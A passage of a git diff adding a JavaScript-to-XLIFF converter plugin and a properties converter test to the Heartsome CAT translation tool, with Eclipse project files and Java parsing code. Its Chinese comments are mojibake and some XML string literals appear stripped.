net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javaproperties.Xliff2Properties; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2PropertiesTest { + public static Xliff2Properties converter = new Xliff2Properties(); + private static String tgtFile = "rc/Test_zh-CN.properties"; + private static String xlfFile = "rc/Test.properties.xlf"; + private static String sklFile = "rc/Test.properties.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/.classpath b/hsconverter/net.heartsome.cat.converter.javascript/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.javascript/.project b/hsconverter/net.heartsome.cat.converter.javascript/.project new file mode 100644 index 0000000..4c378c7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.javascript + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.javascript/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.javascript/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..c8350c5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:09:18 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.javascript/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.javascript/META-INF/MANIFEST.MF new file mode 100644 index 0000000..497796b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter JavaScript +Bundle-SymbolicName: net.heartsome.cat.converter.javascript +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.javascript.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.javascript/build.properties b/hsconverter/net.heartsome.cat.converter.javascript/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Activator.java b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Activator.java new file mode 100644 index 0000000..48d0eeb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Activator.java @@ -0,0 +1,97 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javascript; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.javascript"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The java script2 xliff sr. */ + private ServiceRegistration javaScript2XliffSR; + + /** The xliff2 java script sr. */ + private ServiceRegistration xliff2JavaScriptSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the converter services + Converter javaScript2Xliff = new JavaScript2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, JavaScript2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, JavaScript2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, JavaScript2Xliff.TYPE_NAME_VALUE); + javaScript2XliffSR = ConverterRegister.registerPositiveConverter(context, javaScript2Xliff, properties); + + Converter xliff2JavaScript = new Xliff2JavaScript(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2JavaScript.TYPE_NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2JavaScript.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2JavaScript.TYPE_NAME_VALUE); + xliff2JavaScriptSR = ConverterRegister.registerReverseConverter(context, xliff2JavaScript, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (javaScript2XliffSR != null) { + javaScript2XliffSR.unregister(); + } + if (xliff2JavaScriptSR != null) { + xliff2JavaScriptSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/JavaScript2Xliff.java b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/JavaScript2Xliff.java new file mode 100644 index 0000000..8f61ba7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/JavaScript2Xliff.java @@ -0,0 +1,75 @@ +/** + * JavaScript2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javascript; + +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javascript.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; + +/** + * The Class JavaScript2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class JavaScript2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "javascript"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("javascript.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "JavaScript to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + return Jscript2xliffImpl.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Jscript2xliffAbstract.java b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Jscript2xliffAbstract.java new file mode 100644 index 0000000..3831af0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Jscript2xliffAbstract.java @@ -0,0 +1,632 @@ +package net.heartsome.cat.converter.javascript; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.OutputStream; +import java.io.Reader; +import java.io.UnsupportedEncodingException; +import java.util.HashMap; +import java.util.Map; +import java.util.Stack; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.javascript.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + * Jscript 转 xliff 的抽象实现 + * @author cheney + * @since JDK1.6 + */ +public abstract class Jscript2xliffAbstract { + + /** + * è¾“å…¥å­—ç¬¦æµ + */ + protected Reader input; + + /** + * è¾“å‡ºæ–‡ä»¶æµ + */ + public OutputStream output; // 设置为 public 是为了方便测试 + + /** + * éª¨æž¶è¾“å‡ºæ–‡ä»¶æµ + */ + public OutputStream skeleton; // 设置为 public 是为了方便测试 + + /** + * è¾“å‡ºå­—ç¬¦æµ + */ + protected BufferedReader buffer; + + /** + * æºæ–‡ä»¶ + */ + protected String inputFile; + + /** + * xliff 文件 + */ + protected String xliffFile; + + /** + * 骨架文件 + */ + protected String skeletonFile; + + /** + * æºè¯­è¨€ + */ + protected String sourceLanguage; + + protected String targetLanguage; + + /** + * segment ID + */ + public int segId; // 设置为 public 是为了方便测试 + + /** + * æºæ–‡ä»¶çš„å­—ç¬¦ç¼–ç  + */ + protected String encoding; + + // 从当å‰è¡Œä¸­æˆªå–并进行处ç†çš„字符串 + private String processingStr = ""; + + // 缓存当å‰è¡Œä¸­æœªå¤„ç†çš„字符串 + private String cacheStr = ""; + + // 标识当å‰è¡Œæ˜¯å¦åŒ…å«å•è¡Œæ³¨é‡Š + private boolean isSingleCom = false; + + /** + * 当å‰è¡Œå•è¡Œæ³¨é‡Šå¼€å§‹çš„索引 + */ + int singleComIndex = -1; + + // 标识当å‰è¡Œæ˜¯åŒ…å«åœ¨å¤šè¡Œæ³¨é‡Šä¸­ + private boolean isMultiRowComStart = false; + + // 当å‰è¡Œå¤šè¡Œæ³¨é‡Šçš„开始索引 + private int multiRowComStartIndex = -1; + + // 标识当å‰è¡Œæ˜¯å¦åŒ…å«å¤šè¡Œæ³¨é‡Šçš„ç»“æŸ + private boolean isMultiRowComEnd = false; + + // 当å‰è¡Œå¤šè¡Œæ³¨é‡Šçš„结æŸç´¢å¼• + private int multiRowComEndIndex = -1; + + // 在处ç†çš„过程中缓存的最åŽä¸€ä¸ªæœ‰æ•ˆå­—符,排除空白字符和注释 + private char validCacheChar = '-'; + + /** The is suite. */ + protected boolean isSuite; + + /** The qt tool id. */ + protected String qtToolId; + + /** + * @param monitor + * 进度监视器 + */ + public Map run(IProgressMonitor monitor) throws Exception { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + try { + // 计算总任务数 + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(inputFile); + monitor.beginTask(Messages.getString("javascript.Jscript2xliffAbstract.task1"), cpb.getTotalTask()); + + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeString("\n"); //$NON-NLS-1$ + } else { + writeString("\n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" " + encoding //$NON-NLS-1$ + + "\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + + String line = buffer.readLine(); + + // 计算转æ¢è¿›åº¦ + cpb.calculateProcessed(monitor, line, encoding); + + while (line != null) { + // å–消转æ¢æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javascript.cancel")); + } + line = line + "\n"; //$NON-NLS-1$ + if (isMultiRowComStart) { + // 表明当å‰è¡Œåœ¨å¤šè¡Œæ³¨é‡Šä¸­æˆ–是多行注释的结æŸè¡Œï¼ˆåŒ…å« */) + line = processMultiRowCom(line); + if (line == null) { + // 如果返回的字符串为 NULL,则表明整行都为注释 + line = buffer.readLine(); + // 计算转æ¢è¿›åº¦ + cpb.calculateProcessed(monitor, line, encoding); + continue; + } else if (line.equals("\n")) { + // åªå‰©ä¸‹æ¢è¡Œç¬¦ï¼Œåˆ™ç›´æŽ¥å†™éª¨æž¶ + writeSkeleton(line); + line = buffer.readLine(); + // 计算转æ¢è¿›åº¦ + cpb.calculateProcessed(monitor, line, encoding); + continue; + } + } + // 检查当å‰è¡Œæ˜¯å¦åŒ…å«æ³¨é‡Š + checkForComment(line); + + // 缓存当å‰å°†è¦å¤„ç†çš„字符串 + String cacheTemp = processingStr; + + // å¤„ç† processingStr 字符串 + processingStr = checkForQuote(processingStr); + + // 缓存当å‰è¦å¤„ç†å­—符串中最åŽä¸€ä¸ªæœ‰æ•ˆå­—符(排除空白字符) + validCacheChar = cacheLastValidChar(cacheTemp); + + // 如果ä¸å­˜åœ¨è·¨è¡Œçš„情况,则此时 processingStr 应该为空 + if (processingStr.length() > 0) { + // 检查此行是å¦ä»¥ \ 结尾,需排除所添加的æ¢è¡Œç¬¦ï¼ŒåŒæ—¶è€ƒè™‘到 processing 是截å–的字符串而ä¸æ˜¯ä»¥æ¢è¡Œç¬¦ç»“æŸ + char inverseSecondChar = 'a'; + if (processingStr.length() > 1) { + inverseSecondChar = processingStr.charAt(processingStr.length() - 2); + } + if (cacheStr != null || inverseSecondChar != '\\') { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("javascript.Jscript2xliffAbstract.msg1")); + } + // 存在引å·ä¸­çš„字符串跨行的情况 + String nextLine = buffer.readLine(); + if (nextLine == null) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("javascript.Jscript2xliffAbstract.msg2")); + } + // 计算转æ¢è¿›åº¦ + cpb.calculateProcessed(monitor, nextLine, encoding); + line = processingStr + nextLine; + continue; + } + + // å¤„ç† cacheStr 字符串 + if (cacheStr != null) { + // 此行包å«æ³¨é‡Šå­—符串 + if (isSingleCom) { + // 把注释字符串写入骨架 + writeSkeleton(cacheStr); + isSingleCom = false; + singleComIndex = -1; + } + if (isMultiRowComStart) { + if (isMultiRowComEnd) { + writeSkeleton(line.substring(multiRowComStartIndex, multiRowComEndIndex + 1)); + // 去除所添加的æ¢è¡Œç¬¦ + line = line.substring(multiRowComEndIndex + 1, line.length() - 1); + isMultiRowComStart = false; + multiRowComStartIndex = -1; + isMultiRowComEnd = false; + multiRowComEndIndex = -1; + continue; + } else { + writeSkeleton(cacheStr); + } + } + } + line = buffer.readLine(); + // 计算转æ¢è¿›åº¦ + cpb.calculateProcessed(monitor, line, encoding); + } + + // å¤šè¡Œæ³¨é‡Šæ²¡æœ‰ç»“æŸ + if (isMultiRowComStart) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("javascript.Jscript2xliffAbstract.msg2")); + } + + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (Exception e) { + throw e; + } finally { + try { + if (skeleton != null) { + skeleton.close(); + } + if (input != null) { + input.close(); + } + if (output != null) { + output.close(); + } + } catch (Exception e2) { + // ignore the exception + e2.printStackTrace(); + } + monitor.done(); + } + return result; + } + + /** + * 缓存当å‰è¦å¤„ç†å­—符串中最åŽä¸€ä¸ªæœ‰æ•ˆå­—符(排除空白字符和注释) + * @param processingStr2 + * @return + */ + private char cacheLastValidChar(String str) { + char result = '-'; + int length = str.length(); + for (int i = length - 1; i > -1; i--) { + char temp = str.charAt(i); + if (Character.isWhitespace(temp)) { + continue; + } + result = temp; + break; + } + return result; + } + + /** + * 检查是å¦åŒ…å«å¯æŠ½å–的文本 + * @param line + * @return + * @throws UnsupportedEncodingException + * @throws IOException + */ + private String checkForQuote(String line) throws IOException { + Stack quoteStack = new Stack(); + Stack squareBrackets = new Stack(); + while (line.length() > 0) { + int quoteStartIndex = -1; + int quoteEndIndex = -1; + int length = line.length(); + for (int i = 0; i < length; i++) { + char temp = line.charAt(i); + + // 在查找正则表达å¼çš„结æŸæ—¶ï¼Œéœ€è¦å¿½ç•¥æ­£åˆ™è¡¨è¾¾å¼ä¸­æ‹¬å·ä¸­å‡ºçŽ°çš„æ­£æ–œæ  + if (temp == '[' || temp == ']') { + if (!quoteStack.empty() && quoteStack.peek().charValue() == '/') { + // 排除转义的情况 + boolean isEscape = checkIsEscape(line, i); + if (isEscape) { + continue; + } + // 在正则表达å¼å¼€å§‹ä¸”在结æŸä¹‹å‰å‡ºçŽ°äº†ä¸­æ‹¬å· + if (squareBrackets.empty()) { + if (temp == '[') { + squareBrackets.push(new Character(temp)); + } + } else { + if (temp == ']') { + squareBrackets.pop(); + } + } + } + } + + // 排除正则表达å¼ä¸­æ‹¬å·ä¸­çš„æ­£æ–œæ  + if (temp == '/' && !squareBrackets.empty()) { + continue; + } + + // 需è¦æŽ’除代ç ä¸­çš„正则表达å¼ï¼Œå½¢å¦‚:e.element.text.match(/minorVersion\s*:\s*'(0|X)/) + if (temp == '"' || temp == '\'' || temp == '/') { + // 排除转义的情况 + boolean isEscape = checkIsEscape(line, i); + if (isEscape) { + continue; + } + if (quoteStack.empty()) { + if (temp == '"' || temp == '\'') { + quoteStartIndex = i; + // 把最先找到的匹é…字符压入堆栈 + quoteStack.push(new Character(temp)); + } else { + // 判断找到的正斜æ æ˜¯æ­£åˆ™è¡¨è¾¾å¼çš„å¼€å§‹è¿˜æ˜¯é™¤å· + if (isPerlRegStart(line, i)) { + quoteStack.push(new Character(temp)); + } + } + } else { + // 检查找到的引å·æ˜¯å¦ä¸Žå †æ ˆä¸­çš„ç›¸åŒ¹é… + Character character = quoteStack.peek(); + char expectedChar = character.charValue(); + if (expectedChar == temp) { + if (expectedChar == '"' || expectedChar == '\'') { + quoteEndIndex = i; + // 找到匹é…引å·çš„结æŸåŽè·³å‡ºå½“å‰å¾ªçŽ¯ï¼Œå¯¹å¯æŠ½å–çš„å­—ç¬¦è¿›è¡Œå¤„ç† + break; + } else { + // 找到匹é…的正斜æ ï¼ŒæŠŠæ­¤å­—符弹出åŽï¼Œç»§ç»­æŸ¥æ‰¾ä¸‹ä¸€ä¸ªåŒå¼•å·ã€å•å¼•å·æˆ–æ­£æ–œæ  + quoteStack.pop(); + // 如果缓存中括å·çš„堆栈ä¸ä¸ºç©ºï¼Œåˆ™æ¸…空此堆栈 + if (!squareBrackets.empty()) { + squareBrackets.pop(); + } + } + } + } + } + } + + if (!quoteStack.empty() && quoteStartIndex != -1 && quoteEndIndex != -1) { + // 找到匹é…的引å·å¼€å§‹å’Œç»“æŸ + line = processQuoteStr(line, quoteStack.peek().charValue(), quoteStartIndex, quoteEndIndex); + // 弹出匹é…的引å·ç»“æŸç¬¦ + quoteStack.pop(); + } else { + if (!quoteStack.empty()) { + // 没有找到匹é…的结æŸç¬¦ï¼Œéœ€è¦æŠŠå½“å‰è¡Œä¸Žä¸‹ä¸€è¡Œè¿žæŽ¥åŽè¿›è¡Œå¤„ç† + break; + } else { + // 没有需è¦å¤„ç†çš„å¯æŠ½å–文本,直接写骨架 + writeSkeleton(line); + line = ""; + } + } + } + return line; + } + + /** + * 判断找到的正斜æ æ˜¯æ­£åˆ™è¡¨è¾¾å¼çš„å¼€å§‹è¿˜æ˜¯é™¤å· æ­£åˆ™å’Œé™¤æ³•æœ‰å“ªäº›åŒºåˆ«ï¼Ÿä»Žè¯­å¢ƒä¸Šè¯´ï¼ŒåŽŸåˆ™æ€§çš„åŒºåˆ«å°±æ˜¯é™¤æ³•çš„å‰é¢ 是被除数,正则的å‰é¢ä¸æ˜¯ã€‚而æˆä¸ºè¢«é™¤æ•°çš„å¯èƒ½æ— éžæ˜¯ä»¥ä¸‹3ç§ ï¼š æ•°å­—ã€å˜é‡ã€æ‹¬å·å†…çš„è¿ç®—结果。 + * @param line + * 包å«æ­£æ–œæ çš„字符串 + * @param index + * 第一个正斜æ çš„索引 + * @return 是正则表达å¼çš„开始则返回 true,å¦åˆ™è¿”回 false + */ + private boolean isPerlRegStart(String line, int index) { + boolean isRegStart = false; + boolean isFind = false; // 标识在正斜æ ä¹‹å‰æ‰¾åˆ°äº†èƒ½è¯†è¯†æ­¤æ­£æ–œæ ç±»åž‹çš„字符 + for (int i = index - 1; i > -1; i--) { + // 忽略空空 + char cc = line.charAt(i); + if (Character.isWhitespace(cc)) { + continue; + } + isFind = true; + // å‰é¢ä¸€ä¸ªéžç©ºç™½å­—符若是字æ¯ã€æ•°å­—ã€ä¸‹åˆ’线或å³æ‹¬å·åˆ™é™¤å·ï¼Œå¦åˆ™ä¸ºæ­£åˆ™è¡¨è¾¾å¼ + isRegStart = (!isLetterOrDigitOrUnderlineOrDollorOrRightParenthese(cc)); + break; + } + if (!isFind) { + isRegStart = (!isLetterOrDigitOrUnderlineOrDollorOrRightParenthese(validCacheChar)); + } + return isRegStart; + } + + /** + * 判断此字符是å¦æ˜¯å­—æ¯ã€æ•°å­—ã€ä¸‹åˆ’线ã€ç¾Žå…ƒç¬¦ã€å³æ‹¬å·æˆ–å³ä¸­æ‹¬å·ï¼ˆæ•°ç»„) + * @param cc + * @return 是就返回 true,å¦åˆ™è¿”回 false + */ + private boolean isLetterOrDigitOrUnderlineOrDollorOrRightParenthese(char cc) { + if (Character.isLetterOrDigit(cc) || cc == '_' || cc == '$' || cc == ')' || cc == ']') { + return true; + } else { + return false; + } + } + + /** + * 处ç†å¯æŠ½å–字符 + * @param line + * @param quote + * 引å·å­—符 + * @param quoteStartIndex + * 引å·çš„开始索引 + * @param quoteEndIndex + * 引å·çš„结æŸç´¢å¼• + * @return 引å·ç»“æŸç´¢å¼•åŽçš„字符 + * @throws UnsupportedEncodingException + * @throws IOException + */ + private String processQuoteStr(String line, char quote, int quoteStartIndex, int quoteEndIndex) throws IOException { + String start = line.substring(0, quoteStartIndex + 1); + String quoteStr = line.substring(quoteStartIndex + 1, quoteEndIndex); + String remainStr = line.substring(quoteEndIndex + 1); + writeSkeleton(start); + writeSegment(quoteStr); + writeSkeleton("" + quote); + return remainStr; + + } + + /** + * 检查待处ç†çš„行是å¦åŒ…å«æ³¨é‡Šï¼Œç»™ç›¸åº”的标识ä½èµ‹å€¼ + * @param line + */ + private void checkForComment(String line) { + + isSingleCom = false; + singleComIndex = -1; + isMultiRowComStart = false; + multiRowComStartIndex = -1; + isMultiRowComEnd = false; + multiRowComEndIndex = -1; + + Stack quoteStack = new Stack(); + int length = line.length(); + for (int i = 0; i < length; i++) { + char temp = line.charAt(i); + if (temp == '"' || temp == '\'') { + // 排除转义的情况 + boolean isEscape = checkIsEscape(line, i); + if (isEscape) { + continue; + } + if (quoteStack.empty()) { + // 把最先找到的引å·åŽ‹å…¥å †æ ˆ + quoteStack.push(new Character(temp)); + } else { + // 检查找到的引å·æ˜¯å¦ä¸Žå †æ ˆä¸­çš„引å·ç›¸åŒ¹é…,匹é…åˆ™å¼¹å‡ºå †æ ˆä¸­çš„å¼•å· + Character character = quoteStack.peek(); + if (character.charValue() == temp) { + quoteStack.pop(); + } + } + } + if (temp == '/' && (i + 1) < length) { + // 排除转义的情况 + boolean isEscape = checkIsEscape(line, i); + if (isEscape) { + continue; + } + char nextChar = line.charAt(i + 1); + if (quoteStack.empty() && (!isSingleCom) && (!isMultiRowComStart)) { + if (nextChar == '/') { + // 此行包å«å•è¡Œæ³¨é‡Š + processingStr = line.substring(0, i); + cacheStr = line.substring(i, line.length()); + isSingleCom = true; + singleComIndex = i; + } else if (nextChar == '*') { + // 此行包å«å¤šè¡Œæ³¨é‡Š + processingStr = line.substring(0, i); + cacheStr = line.substring(i, line.length()); + isMultiRowComStart = true; + multiRowComStartIndex = i; + } + } + } + if (isMultiRowComStart) { + // 进一步判断多行注释开始符åŽæ˜¯å¦å­˜åœ¨å¤šè¡Œæ³¨é‡Šçš„结æŸç¬¦ï¼Œéœ€è¦æ³¨é‡Šå¦‚下情况:/*/ + if (temp == '*' && (i + 1) < length && (i != multiRowComStartIndex + 1)) { + char nextChar = line.charAt(i + 1); + if (nextChar == '/') { + isMultiRowComEnd = true; + multiRowComEndIndex = i + 1; + } + } + } + if (isSingleCom || (isMultiRowComStart && isMultiRowComEnd)) { + // 如果查找到å•è¡Œæ³¨é‡Šçš„或多行注释的开始和结æŸæ ‡è¯†ï¼Œåˆ™è·³å‡ºå¾ªçŽ¯ä¸å†æŸ¥æ‰¾æ³¨é‡Šæ ‡è¯† + break; + } + } + if (!(isSingleCom || isMultiRowComStart)) { + // 如果当å‰è¡Œä¸åŒ…å«æ³¨é‡Š + processingStr = line; + cacheStr = null; + } + } + + /** + * 判断 line 中 index 指引的字符是å¦ä¸ºè½¬ä¹‰å­—符 + * @param line + * @param index + * @return + */ + private boolean checkIsEscape(String line, int index) { + boolean result = false; + // 排除转义的情况,且需è¦è€ƒè™‘引å·ä¹‹å‰çš„åæ–œæ ä¹Ÿè¢«è½¬ä¹‰çš„情况 + int j = index; + int backslashCount = 0; + while (j > 0 && j < line.length()) { + j--; + if (line.charAt(j) == '\\') { + backslashCount++; + } else { + break; + } + } + // 如果 backslashCount 为奇数,则è¯æ˜Žæ­¤å¼•å·ä¸ºè½¬ä¹‰å­—符 + if (backslashCount % 2 != 0) { + result = true; + } + return result; + } + + /** + * 处ç†å¤šè¡Œæ³¨é‡Š + * @param line + * @return + * @throws UnsupportedEncodingException + * @throws IOException + */ + private String processMultiRowCom(String line) throws IOException { + String result = null; + int length = line.length(); + int index = line.indexOf("*/"); + String comment = line; // 需写入骨架的字符串 + if (index > -1) { + comment = line.substring(0, index + 2); + isMultiRowComStart = false; + multiRowComStartIndex = -1; + isMultiRowComEnd = false; + multiRowComEndIndex = -1; + if ((index + 2) <= length) { + // 多行注释结æŸç¬¦åŽè¿˜å­˜æœ‰å¾…处ç†å­—符 + result = line.substring(index + 2); + } + } + writeSkeleton(comment); + return result; + } + + /** + * @param string + */ + private void writeSegment(String segment) throws IOException { + if (segment.equals("")) { + return; + } //$NON-NLS-1$ + writeString(" \n" + " " + TextUtil.cleanString(segment) + "\n" //$NON-NLS-1$ //$NON-NLS-2$ + + " \n"); //$NON-NLS-1$ + writeSkeleton("%%%" + segId++ + "%%%"); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * @param string + * @throws IOException + * ; + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("utf-8")); //$NON-NLS-1$ + } + + /** + * @param string + * @throws IOException + * ; + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("utf-8")); //$NON-NLS-1$ + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Jscript2xliffImpl.java b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Jscript2xliffImpl.java new file mode 100644 index 0000000..052e84f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Jscript2xliffImpl.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.converter.javascript; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javascript.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + *Jscript 转 xliff 的具体实现 + * @author cheney + * @since JDK1.6 + */ +class Jscript2xliffImpl extends Jscript2xliffAbstract { + + /** + * 构造函数 + * @param params + * 